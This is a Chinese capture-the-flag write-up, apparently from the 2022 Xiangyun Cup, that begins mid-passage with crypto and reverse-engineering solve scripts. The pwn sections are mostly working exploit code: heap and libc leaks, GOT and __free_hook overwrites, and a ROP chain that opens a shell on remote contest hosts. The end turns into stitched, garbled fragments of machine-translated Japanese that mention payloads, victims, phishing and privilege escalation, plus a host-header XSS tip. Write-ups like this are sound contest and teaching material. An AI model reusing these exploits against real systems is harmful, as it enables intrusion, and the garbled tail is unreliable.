nbits): s[i] = (s[i-1]*m+c)%n print(s) for t in range(nbits): M[t] = M[t] - s[t] print(M) # 注意是反向量 short = '00101000011000010001000010011011' short2 = '' for i in short: if i == '0': short2 = short2 + '1' else: short2 = short2 +'0' print(short2) print(len(short2)) num = int(short2,2) print(sha256(str(num).encode()).hexdigest()) 5.babyDLP CryptoCTF2022的原题side step，参考春哥的解法：https://zhuanlan.zhihu.com/p/546270351，exp需要修改两个地方，1是if (‘Great!’ in a):需要加上b，其次是a = a[9:]改为a = a[8:] 。然后直接打即可： from pwn import * from sage.all import * from Crypto.Util.number import * class Gao: def __init__(self): self.con = remote('101.201.71.136', 16265) self.p = 2 ** 1024 - 2 ** 234 - 2 ** 267 - 2 ** 291 - 2 ** 403 - 1 self.s_high = 1 self.Zp = Zmod(self.p) def gao_check(self): self.con.sendline('T') ans = self.Zp(4).nth_root(self.s_high) print('Guessing: {}'.format(ans)) self.con.sendline(str(ans)) self.con.recvuntil('integer: \n') a = self.con.recvline() if (b'Great!' in a): print(a) print(ZZ(ans).nbits()) return True else: return False def gao_one(self): self.con.sendline(b'T') ans = self.Zp(2).nth_root(self.s_high) self.con.sendline(str(ans)) self.con.recvuntil(b'integer: \n') a = self.con.recvline() if (b'Great!' in a): print(a) print(ZZ(ans).nbits()) return True else: a = a[8:] t, r = eval(a) self.s_high <<= 1 if (t == 0): self.s_high |= 1 self.t = 1 - t #print('{:b}'.format(self.s_high)) return False def gao(self): while (True): if (self.gao_one()): break if (self.t == 1): if (self.gao_check()): break def gao_2(self): for i in range(1023): if (self.gao_one()): break else: for i in range(20): self.gao_check() self.s_high >>= 1 if __name__ == '__main__': g = Gao() g.gao_2() 目录 Web FunWEB ezjava Rustwaf pwn ojs protocol queue unexploitable sandboxheap bitheap leak Misc strange_forensics Rev roket crypto little little fermat tracing fill babyDLP 0x04 RE 1.engtom 下载下来,一看,. s n a p s h o t ???懵逼
有点像脚本语言的字节码..
必应查一下,没出来啥
看导入函数, c h a r C o d e A t ,判断是js
js有好多实现,要找找是哪种
结合开头 J R R Y F 和题目名字里的 t o m ,让我想起了猫和老鼠.
这时候看到一个项目,名字叫 j e r r y s c r i p t ,背底是奶酪.
又看到里面源码有解析. s n a p s h o t 文件,基本确定了就是他了
配置好环境后,看 h e l p (英语阅读题),看到可以输出 o p c o d e .
输出之,发现 s m 4 的常量以及函数名,所以断定是 s m 4 .
解密得到结果,用 c t f {}包上就提交了.脚本如下图:
附：
import binascii
import struct
from gmssl import sm4
def getarr ( a ):
ddd=[]
for i in range ( len (a)):
s=a[i]
ddd.append(s& 0xff )
s>>= 8
ddd.append(s& 0xff )
s>>= 8
ddd.append(s& 0xff )
s>>= 8
ddd.append(s& 0xff )
ddd[i<< 2 :(i<< 2 )+ 4 ]=ddd[i<< 2 :(i<< 2 )+ 4 ][::- 1 ]
return bytes (ddd)
class SM4 :
"""
国产加密 sm4加解密
"""
def __init__ ( self ):
self.crypt_sm4 = sm4.CryptSM4()
def decryptSM4 ( self, decrypt_key, encrypt_value ):
"""
国密sm4解密
:param decrypt_key:sm4加密key
:param encrypt_value: 待解密的十六进制值
:return: 原字符串
"""
crypt_sm4 = self.crypt_sm4
crypt_sm4.set_key(decrypt_key, sm4.SM4_DECRYPT)
decrypt_value = crypt_sm4.crypt_ecb(encrypt_value)
return decrypt_value
if __name__ == '__main__' :
key = getarr([ 19088743 , 2309737967 , 4275878552 , 1985229328 ])
strData = getarr([ 1605062385 ,- 642825121 , 2061445208 , 1405610911 , 1713399267 , 1396669315 , 1081797168 , 605181189 , 1824766525 , 1196148725 , 763423307 , 1125925868 ])
strData= bytes (strData)
SM4 = SM4()
decData = SM4.decryptSM4(key, strData)
print ( "sm4解密结果：" , decData) 2.roket 测试输入数据和输出数据寻找规律发现是输入转ascii码然后三次方得到输出 from Crypto.Util.number import long_to_bytes import gmpy2 print(gmpy2.iroot(7212272804013543391008421832457418223544765489764042171135982569211377620290274828526744558976950004052088838419495093523281490171119109149692343753662521483209758621522737222024221994157092624427343057143179489608942837157528031299236230089474932932551406181, 3)) #6374667b746831735f69735f7265346c6c795f626561757431666c795f72316768743f7d a='6374667b746831735f69735f7265346c6c795f626561757431666c795f72316768743f7d' for i in range(0,len(a),2): print('0x'+a[i]+a[i+1],end=',') print('flag:') #0x63,0x74,0x66,0x7b,0x74,0x68,0x31,0x73,0x5f,0x69,0x73,0x5f,0x72,0x65,0x34,0x6c,0x6c,0x79,0x5f,0x62,0x65,0x61,0x75,0x74,0x31,0x66,0x6c,0x79,0x5f,0x72,0x31,0x67,0x68,0x74,0x3f,0x7d b=[0x63,0x74,0x66,0x7b,0x74,0x68,0x31,0x73,0x5f,0x69,0x73,0x5f,0x72,0x65,0x34,0x6c, 0x6c,0x79,0x5f,0x62,0x65,0x61,0x75,0x74,0x31,0x66,0x6c,0x79,0x5f,0x72,0x31,0x67, 0x68,0x74,0x3f,0x7d] for i in range(len(b)): print(chr(b[i]),end='') 0x04 PWN 1.bitheap 解题思路 一个2.27的堆，edit函数存在一个字节的溢出，当输入的字符是“1”的时候，会多输出以为。因为edit的存储，会导致下一个堆块的inuser位置0，典型的offbyone，就是输入时edit会把2进制转成16进制然后按位取反。
from pwn import * 2.unexploitable 第一次返回复写成0x7d1的位置，跳过push rbp，这样调解栈帧可以让下次的ret address成为0x7f开头的libc_start_main+231的位置，之后就是爆破两字节复写one_gadget，使用0xfc结尾的符合shell要求
from pwntools import *
init("./unexploitable" )
def pwn ():b"\x00" *0x18 + p8(0xd1 ) + p8(0x07 ))
s(b"\x00" *0x18 + p8(0xfc ) + p8(0x12 ) + p8(0x34 ))
sl("ls" )
tmp = pwnio.io.recv(1 ,timeout=1 )
print(tmp)
if not tmp or tmp==b'*' :
raise
ia()
hack(pwn,cls=False )
脸黑，和队友开了两个靶机爆破了两天...队友脸白，穿了
3.ojs 查找关键词可知，这题魔改自项目：https://github.com/ndreynolds/flathead
比对源码可知，新增了方法charTo
逆一下，str.charTo(offset, val) str offset val
可越界写的条件是字符串str 3 val = 17 str
由于本题没开PIE got
所以其实任意写的思路很显然：先泄露出str got charTo got
泄露libc 3 str \x00 libc
不过，由于比赛的时候远程环境十分诡异，导致当时配了几个小时环境都没弄出来远程的环境（打通以后才知道原因应该是由于共享库被放在了题目的同一目录下QAQ），后来就干脆采用了无脑爆破的做法。str libc 60*8 libc printf got
此外，这里应该也可以通过改某个got puts@plt got libc bss stdin/stdout/stderr got setvbuf got puts@plt setvbuf 60*8 libc
最后，选用如下one_gadget
from pwn import *
context(os = "linux" , arch = "amd64" , log_level = "debug" )
io = remote("39.106.13.71" , 38641 )
libc = ELF("./libc-2.27.so" )
elf = ELF("./ojs" )
io.sendlineafter("> " , 'a = "win";' )
io.sendlineafter("> " , 'x = a.charTo(0, 17);' )
io.sendlineafter("> " , 'console.log("xxx" + x.toString() + "xxx");' )
io.recvline()
io.recvuntil("xxx" )
heap_addr = int (io.recvuntil("xxx" ).strip(b"xxx" ))
success("heap_addr:\t" + hex (heap_addr))
io.sendlineafter("> " , 'for(var i = 3; i < 60*8; i++) a.charTo(i, 97);' )
io.sendlineafter("> " , 'console.log(a);' )
libc_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 , b'\x00' ))
success("libc_addr:\t" + hex (libc_addr))
libc_base = libc_addr - 0xd22ce8
success("libc_base:\t" + hex (libc_base))
dis = elf.got['printf' ] - heap_addr
og = p64(libc_base + 0xe54f7 )
for i in range (6 ) :
io.sendlineafter("> " , f'a.charTo({dis+i} , {og[i]} );' )
io.sendlineafter("> " , 'b = [];' )
io.sendlineafter("> " , 'b.push("winmt");' )
io.interactive()
4.protool Google的Protobuf，参考学习连接 https://bbs.pediy.com/thread-270004.htm
发现了栈溢出，protobuf的内容解析后会送到栈里，但是username和password一定要admin
username和password中不能包含"\x00"，所以rop的话，得考虑绕过"\x00"
因为是while 1，所以可以每次输入错误的username和password进行一次写栈，但是注意到不能携带\x00，所以需要从下向上写rop链，protobuf转化的时候会在最后给上一个\x00，这样开源每次从后往前少写一个字节，这样最后一个字节就被覆盖成了\x00
最后倒着写一个execve("/bin/sh\x00",0,0)就可以get shell了
from pwntools import *
from ctf_pb2 import *
init( "./protocol" )
ret = 0x000000000040101A
pop_rax_ret = 0x00000000005bdb8a
pop_rdi_ret = 0x0000000000404982
pop_rsi_ret = 0x0000000000588BBE
pop_rdx_ret = 0x000000000040454F
pop_rcx_ret = 0x0000000000475DA3
syscall = 0x0000000000403C99
write_addr = 0x5A2E70
read_addr = 0x5A2F10
rw_addr = 0x81A400
bss = 0x81A360
'''
b *0x407743
payload = flat([
pop_rdi_ret,"/bin/sh\x00",
pop_rsi_ret, 0,
pop_rdx_ret, 0,
pop_rax_ret, 59,
syscall
])
'''
def write ( payload ):
p = pwn()
p.username = b"admin"
p.password = payload
sd = p.SerializeToString()
sa( "Login:" , sd)
time.sleep( 0.2 )
write( b"b" * 0x248 + b"b" * 8 * 8 + p8( 0x99 ) +p8( 0x3c )+ p8( 0x40 ))
for i in range( 1 , 8 ):
write( b"b" * 0x248 + b"b" *( 8 * 8 -i))
write( b"b" * 0x248 + b"b" * 8 * 7 + p8( 59 ))
for i in range( 1 , 8 ):
write( b"b" * 0x248 + b"b" *( 8 * 7 -i))
write( b"b" * 0x248 + b"b" * 8 * 6 + p8( 0x8a ) +p8( 0xdb )+ p8( 0x5b ))
for i in range( 1 , 8 ):
write( b"b" * 0x248 + b"b" *( 8 * 6 -i))
write( b"b" * 0x248 + b"b" * 8 * 5 )
for i in range( 1 , 8 ):
write( b"b" * 0x248 + b"b" *( 8 * 5 -i))
write( b"b" * 0x248 + b"b" * 8 * 4 + p8( 0xbe ) + p8( 0x8b ) + p8( 0x58 ))
for i in range( 1 , 8 ):
write( b"b" * 0x248 + b"b" *( 8 * 4 -i))
write( b"b" * 0x248 + b"b" * 8 * 3 )
for i in range( 1 , 8 ):
write( b"b" * 0x248 + b"b" *( 8 * 3 -i))
write( b"b" * 0x248 + b"b" * 8 * 2 + p8( 0x4f ) + p8( 0x45 ) + p8( 0x40 ))
for i in range( 1 , 8 ):
write( b"b" * 0x248 + b"b" *( 8 * 2 -i))
write( b"b" * 0x248 + b"b" * 8 * 1 + p8( 0x6f ) + p8( 0xa3 ) + p8( 0x81 ))
for i in range( 1 , 8 ):
write( b"b" * 0x248 + b"b" *( 8 * 1 -i))
write( b"b" * 0x248 + p8( 0x82 ) + p8( 0x49 ) + p8( 0x40 ))
p = pwn()
p.username = b"admin"
p.password = b"admin"
sd = p.SerializeToString()
sa( "Login:" , sd + b"\x00" + b"/bin/sh\x00" )
ia()
5.queue 队列结构体
struct elem
{
_QWORD buf_array_ptr;
_QWORD sub_buf_max;
_QWORD pBuffStart;
_QWORD a3;
_QWORD pBuffLast;
char **sub_bufs;
_QWORD pBuffEnd;
_QWORD a7;
_QWORD a8;
_QWORD sub_buf_last;
};
666功能可以直接修改结构体
伪造结构体再通过其他功能可以实现任意地址读写
首先需要泄露一个地址
覆盖pBuffStart, 爆破一个十六进制位到有堆地址的地方
泄露堆地址
然后申请几个再free填tcache, 在堆上制造libc地址
构造结构体pBuffStart指向含libc地址处
泄露libc地址
然后伪造结构体在__free_hook处
用程序edit单字节循环写入
exp:
from pwn import *
from colorama import Fore
from colorama import Style
import inspect
from argparse import ArgumentParser
parser = ArgumentParser()
parser.add_argument("--elf", default="./queue")
parser.add_argument("--libc", default="./libc-2.27.so")
parser.add_argument("--arch", default="amd64")
parser.add_argument("--remote")
args = parser.parse_args()
context(arch=args.arch,log_level='debug')
def retrieve_name(var):
callers_local_vars = inspect.currentframe().f_back.f_back.f_locals.items()
return [var_name for var_name, var_val in callers_local_vars if var_val is var]
def logvar(var):
log.debug(f'{Fore.RED}{retrieve_name(var)[0]} : {var:#x}{Style.RESET_ALL}')
return
script = ''
def rbt_bpt(offset):
global script
script += f'b * $rebase({offset:#x})\n'
def bpt(addr):
global script
script += f'b * {addr:#x}\n'
def dbg():
gdb.attach(sh,script)
pause()
prompt = b'Queue Management: '
def cmd(choice):
sh.sendlineafter(prompt,str(choice).encode())
def add(size):
cmd(1)
sh.sendlineafter(b'Size: ',str(size).encode())
return
def edit(buf_id,idx,val):
cmd(2)
sh.sendlineafter(b'Index: ',str(buf_id).encode())
sh.sendlineafter(b'Value idx: ',str(idx).encode())
sh.sendlineafter(b'Value: ',str(val).encode())
return
def show(buf_id,num):
cmd(3)
sh.sendlineafter(b'Index: ',str(buf_id).encode())
sh.sendlineafter(b'Num: ',str(num).encode())
return
def dele():
cmd(4)
return
def backdoor(buf_id,ctt):
cmd(666)
sh.sendlineafter(b'Index: ',str(buf_id).encode())
sh.sendafter(b'Content: ',ctt)
return
def edit_qword(buf_id,off,val):
for i in range(8):
byte = val & 0xff
edit(buf_id,off+i,byte)
val >>= 8
rbt_bpt(0x1688)
rbt_bpt(0x16b5)
def leak_num():
val = 0
sh.recvuntil(b'Content: ')
for i in range(8):
num = int(sh.recvline().strip(),16)
val |= num << (8*i)
return val
def pwn():
add(0x100)
backdoor(0,p64(0)*2 + b'\x88\x5e')
show(0,0x8)
heap_addr = leak_num()
if heap_addr == 0:
raise EOFError
for i in range(5):
add(0x100)
for i in range(4):
dele()
backdoor(0,p64(0)*2 + p64(heap_addr + 0x1a50)*2)
show(0,0x8)
libc_base = leak_num() - 0x3ebca0
logvar(heap_addr)
logvar(libc_base)
edit_qword(1,0,u64(b'/bin/sh\x00'))
libc = ELF(args.libc,checksec=False)
libc.address = libc_base
payload = flat([
0,
0,
libc.sym['__free_hook'],
libc.sym['__free_hook'],
libc.sym['__free_hook']+0x200,
heap_addr,
libc.sym['__free_hook']+0x200,
libc.sym['__free_hook']+0x200,
libc.sym['__free_hook']+0x200,
heap_addr+8
])
backdoor(0,payload)
edit_qword(0,0,libc.sym['system'])
# dbg()
dele()
while True:
try:
# sh = process([args.elf])
sh = remote('39.106.13.71' ,'31586')
pwn()
sh.interactive()
except EOFError:
sh.close()
6.leak
祥云杯附件下载：链接：https://pan.baidu.com/s/1W2euTjOK_qOMZLh8lTJf2w 提取码：7zp2参考连接地址： https://exp10it.cn/2022/10/2022-%E7%A5%A5%E4%BA%91%E6%9D%AF-web-writeup/#ezjava http://www.snowywar.top/?p=4077 https://www.cnblogs.com/S1gMa/p/16846438.htm
https://mp.weixin.qq.com/s/j7wjaV-sIo-3VjTz0xOCRQ https://www.cnblogs.com/winmt/articles/16842913.htmlhttps://www.woodwhale.top/archives/2022xiangyun https://su-team.cn/passages/2022-xyb-SU-Writeup/
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
![图片[1]-2022祥云杯ALLMISC Writeup-魔法少女雪殇](https://hacker.bz/t/tu/g10rnfhskby15307.png)
![图片[2]-2022祥云杯ALLMISC Writeup-魔法少女雪殇](https://hacker.bz/t/tu/tmn0zmfpafb15311.png)
![图片[3]-2022祥云杯ALLMISC Writeup-魔法少女雪殇](https://hacker.bz/t/tu/cyjmd0h5etr15313.png)
![图片[4]-2022祥云杯ALLMISC Writeup-魔法少女雪殇](https://hacker.bz/t/tu/yo1op1tvs4o15316.png)
![图片[5]-2022祥云杯ALLMISC Writeup-魔法少女雪殇](https://hacker.bz/t/tu/3hperf02pt515319.png)
![图片[6]-2022祥云杯ALLMISC Writeup-魔法少女雪殇](https://hacker.bz/t/tu/1un2gesk5ys15321.png)
![图片[7]-2022祥云杯ALLMISC Writeup-魔法少女雪殇](https://hacker.bz/t/tu/uo2socrvfgl15336.png)
![图片[8]-2022祥云杯ALLMISC Writeup-魔法少女雪殇](https://hacker.bz/t/tu/34yafk2n2jx15349.png)
![图片[9]-2022祥云杯ALLMISC Writeup-魔法少女雪殇](https://hacker.bz/t/tu/hw2naoslhqc15354.png)
![图片[10]-2022祥云杯ALLMISC Writeup-魔法少女雪殇](https://hacker.bz/t/tu/skcvru0kmwe15355.png)
![图片[11]-2022祥云杯ALLMISC Writeup-魔法少女雪殇](https://hacker.bz/t/tu/cagi05ogd3a15359.png)
![图片[12]-2022祥云杯ALLMISC Writeup-魔法少女雪殇](https://hacker.bz/t/tu/q4c1hcl0srr15361.png)
![图片[13]-2022祥云杯ALLMISC Writeup-魔法少女雪殇](https://hacker.bz/t/tu/rliv2ushbk415362.png)
![图片[14]-2022祥云杯ALLMISC Writeup-魔法少女雪殇](https://hacker.bz/t/tu/wp1mj5kjryh15365.png)
![图片[15]-2022祥云杯ALLMISC Writeup-魔法少女雪殇](https://hacker.bz/t/tu/fvtaepedizi15368.png)
![图片[16]-2022祥云杯ALLMISC Writeup-魔法少女雪殇](https://hacker.bz/t/tu/vn1dk30cxnj15370.png)
![图片[17]-2022祥云杯ALLMISC Writeup-魔法少女雪殇](https://hacker.bz/t/tu/nyaycboc2aa15371.png)
![图片[18]-2022祥云杯ALLMISC Writeup-魔法少女雪殇](https://hacker.bz/t/tu/nwli2fgmmtd15372.png)
![图片[19]-2022祥云杯ALLMISC Writeup-魔法少女雪殇](https://hacker.bz/t/tu/zmej3jacsps15375.png)
![图片[20]-2022祥云杯ALLMISC Writeup-魔法少女雪殇](https://hacker.bz/t/tu/nioj2jw4ygj15377.png)
![图片[21]-2022祥云杯ALLMISC Writeup-魔法少女雪殇](https://hacker.bz/t/tu/5qnudvmwdlj15379.png)
![图片[22]-2022祥云杯ALLMISC Writeup-魔法少女雪殇](https://hacker.bz/t/tu/hbq4evdwu4p15380.png)
が正常に起動されました
//本案例来源于https://blog.csdn.net/weixin_30685047/article/details/95916065
案例1
に基づいています
コンストラクトペイロード：App/Runtime/Logs/21_10_16.log
を入力します
を使用することもできます
を追加する必要があります
を構築します
を取得します
を表示する
を使用しています
のパスワードを取得します
500以上の犠牲者。
を販売している1,000近くのプラットフォームに登りました
に入るルーチンはありません
のセットに遭遇しました
も許可する必要があることがわかります
を制御します
を選択します
処理せずにクエリに直接持ち込まれ、多くの同様のポイントがあります。
によって開始されていないことがわかりました
を生成します
を検索しようとしました
を検索する場合は使用してください
で失敗しました
をお試しください
ルート許可を使用したセッションを正常に返しました。特権のエスカレーションは完了し、元のリンクで再現されました：https://MP.Weixin.QQQQQQQQQQQQQ5IMLFHHNQNQNBTPFXCA
のAPIインターフェイス
3。カスタマーサービスシステムフィッシングガイダンスなど。
4。ポイントシステムは、脆弱なサイドステーション
5をターゲットにします。リチャージインターフェイス
6。デモサイトのソースコード分析を見つけるソースコードホワイトボックス分析
（2）jvisualvm.exe：Java自带的工具，默认路径为：JDK目录/bin/jvisualvm.exe
看到这种情况我们可以大概猜想一下，其中的后段代码可能是以下样子：<img src="<?php echo "http://{$_SERVER['HTTP_HOST']}/"?>xxx/aaa.png" />这样看来就很简单了，修改一下请求包中的host就能造成xss咯。
捡破烂小tips完结。
